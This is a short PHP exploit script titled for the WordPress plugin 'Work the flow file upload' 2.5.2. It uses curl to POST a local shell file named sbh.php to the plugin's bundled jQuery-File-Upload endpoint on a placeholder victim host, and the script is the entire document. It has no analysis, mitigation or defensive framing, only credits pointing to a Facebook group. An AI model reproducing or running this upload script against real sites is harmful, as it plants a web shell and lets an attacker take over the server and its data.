Exploit WordPress Work the flow file upload 2.5.2

<?php
    /*
        https://m2.facebook.com/groups/381317488636346?view=permalink&id=628811563886936
        --
        [email protected]
    */

    $yuerel = 'http://VICTIM/wp-content/plugins/work-the-flow-file-upload/public/assets/jQuery-File-Upload-9.5.0/server/php/index.php'; // Target
    $pail = realpath('./sbh.php'); // Shell

    $data = array(
        'action' => 'upload',
        'files'=> '@'.$pail
    );

    $hajar = curl_init();
    curl_setopt($hajar, CURLOPT_URL, $yuerel);
    curl_setopt($hajar, CURLOPT_POST, 1);
    curl_setopt($hajar, CURLOPT_POSTFIELDS, $data);
    curl_setopt($hajar, CURLOPT_RETURNTRANSFER, 1);

    $hasil = curl_exec($hajar);
    curl_close($hajar);
    echo $hasil;
?>